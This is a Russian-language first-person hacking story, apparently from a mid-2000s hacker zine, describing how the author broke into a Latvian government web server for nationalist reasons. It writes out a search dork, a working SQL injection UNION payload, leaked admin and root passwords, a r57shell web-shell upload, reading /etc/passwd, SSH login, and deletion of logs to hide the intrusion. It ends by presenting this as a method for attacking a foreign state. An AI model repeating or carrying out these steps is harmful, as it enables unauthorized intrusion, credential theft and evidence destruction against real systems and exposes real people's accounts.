Был теплый летний день... А по телевизору
как раз показывали очередную новость про то,
как латыши-нацисты притесняют русских. Я
решил что, надо что-то делать, включил комп,
зарядил свежий проксик, зашел на любимый
гугл и набрал в строке поиска следующую
строку:
inurl:gov.lv filetype:php
на что поисковик мне выдал кучу ссылок, я
потыкал по нескольким, повставлял в
параметры кавычку, но везде был облом 🙁 И
тут почти сразу мне улыбнулась удача. Один
из государственных сайтов, назовем его
site.gov.lv (сознательно не называю полное имя, т.к.
все перечисленные уязвимости существуют и
по сей день 🙂 и ни один пароль не изменен)
выдает мне на запрос
http://www.site.gov.lv/index.php?id=103&cat_id='
следующее:
SQL error: query(You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server version for the right
syntax to use near '\'' at line 1): select topic,text FROM forum_sections where
id=\'
Warning: mysql_fetch_row(): supplied argument is not a
valid MySQL result resource in /usr/local/www/data/template.php on line 68
SQL error: query(You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near '\'
order by date desc' at line 1): select name,email,text,DATE_FORMAT(date, '%d.%m.%Y')
FROM web_forum where cat_id=\' order by date desc
Warning: mysql_fetch_row(): supplied argument is not a
valid MySQL result resource in /usr/local/www/data/template.php on line 68
Это означает только одно - так как в
параметре id внутри скрипта нету
открывающей кавычки, то мы с чистой
совестью можем использовать UNION запрос 🙂
Путем нехитрых логических рассуждений
можно понять, что все юзеры находятся в
таблице web_users (по аналогии с web_forum из
информации об ошибке) 🙂 Далее я и проделал,
то, что называют скуль-инъекцией (здесь
опущу то, как я искал названия колонки с
паролем и именем, это и так понятно):
http://www.site.gov.lv/index.php?id=103&cat_id=-99 union select
username,pass from web_users/*
на что скрипт мне выдал самую первую запись
в таблице с пользователями:
JailZzz //имя
pestofhabit //пароль
Далее я стал искать на сайте форму
авторизации, где полученные данные можно
было бы использовать, но таковой не было 🙁 Я
совсем уже хотел забить на этот сайт, но тут
подумал, а что если это таблица не с
пользователями, а с администраторами? И
набрал в адресной строке htpp://www.site.gov.lv/admin, на
что мне Опера выплюнула форму авторизации
:)) Я ввел полученные ранее имя и пароль и
успешно оказался в админке. В ней было все
по-латышски, но я не стал долго
заморачиваться, а все попробовал методом
тыка. В итоге оказалось, что там для всех
страниц есть удобный хтмл-редактор, в
котором так же на сервер можно залить ЛЮБОЙ
файл. Конечно, в течение следующих минут я
залил туда любимый r57shell 1.21, честно
купленный у rst void за 10 баксов 🙂 Все, у меня
был полноценный веб-шелл на
государственном сайте Латвии с правами www
по адресу http://www.site.gov.lv/docs/r.php. Но мне этого
показалось мало. Первым делом я выполнил
команду who - никого в системе не было. Надо
сказать, что система (FreeBSD 5.2-RELEASE) была
довольно-таки свежая и эксплойтов у меня к
ней не было. Поэтому я выполнил cat /etc/passwd и
узнал, что есть в системе несколько
пользователей, состоящих в группе с уидом 0:
elksnins:*:1001:0:Janis Elksnins:/home/elksnins:/usr/local/bin/bash
janis:*:1002:0:Janis Grobins:/home/janis:/usr/local/bin/bash
viktors:*:1003:0:viktors:/home/viktors:/usr/local/bin/bash
noisex:*:1004:0:Noisex:/home/noisex:/usr/local/bin/bash
Это хорошо, подумал я и стал искать все .bash_history
файлы. Скрипт нашел мне 4 штуки:
/usr/home/elksnins/.bash_history
/usr/home/janis/.bash_history
/usr/home/noisex/.bash_history
/root/.bash_history
но прав на их чтение у меня не хватило. И тут
я вспомнил о таблице web_users с админами
сервера 🙂 Поспешно залил на сервер RST MySQL,
скрипт для работы с бд (кстати, еще одна
тупость админов, пользователь root для mysql был
абсолютно без пароля). Потом зашел в уже
известную web_users. В таблице были следующие
записи:
Оппаньки 🙂 Да тут же пароль уже известного
нам по /etc/passwd elksnins. Значит мы можем
залогиниться по ssh, что я и сделал из своего
любимого PuTTy (кстати, к ftp он тоже подошел и
вывел меня прямо в корень сервака).
login as: elksnins
Password:
Last login: Sun Jun 12 16:59:19 2005 from 62.85.88.98
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
The Regents of the University of California. All rights reserved.
FreeBSD 5.2-RELEASE (GENERIC) #0: Sun Jan 11 04:21:45 GMT 2004
-bash-2.05b$ id
uid=1001(elksnins) gid=0(wheel) groups=0(wheel)
Хе 🙂 Этот юзер конечно покруче www, но
хотелось абсолютных прав - я стал читать уже
ранее найденные .bash_history файлы. Доступным
оказался только один: /usr/home/elksnins/.bash_history (что
естественно). В нем я нашел такие строки:
u
bu75dfv31okx
su
и
su
abu75dfv31okcx
su
И снова опаньки... Мы можем вычислить
пароль супер юзера из-за двух неверных
попыток ввода. В результате паролем рута
оказался abu75dfv31okx 🙂 Далее я им и
воспользовался:
-bash-2.05b$ su
Password:
deadnt# who
elksnins ttyp0 Jun 18 15:17 (217.118.81.2)
deadnt# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
deadnt#
Логи, кстати, просто удалил (deadnt# rm /var/log/*), а
не почистил прогой. Ибо админ, как видно из
баш хистори, заходил в последний раз 6 дней
назал и не особо интересовался ими, а искать
логклинер под фряху было просто лень. Ну вот
и все 🙂
Вот так с помощью простой sql-инъекции
можно порутать государственный сервер
какой-нибудь зарвавшейся страны.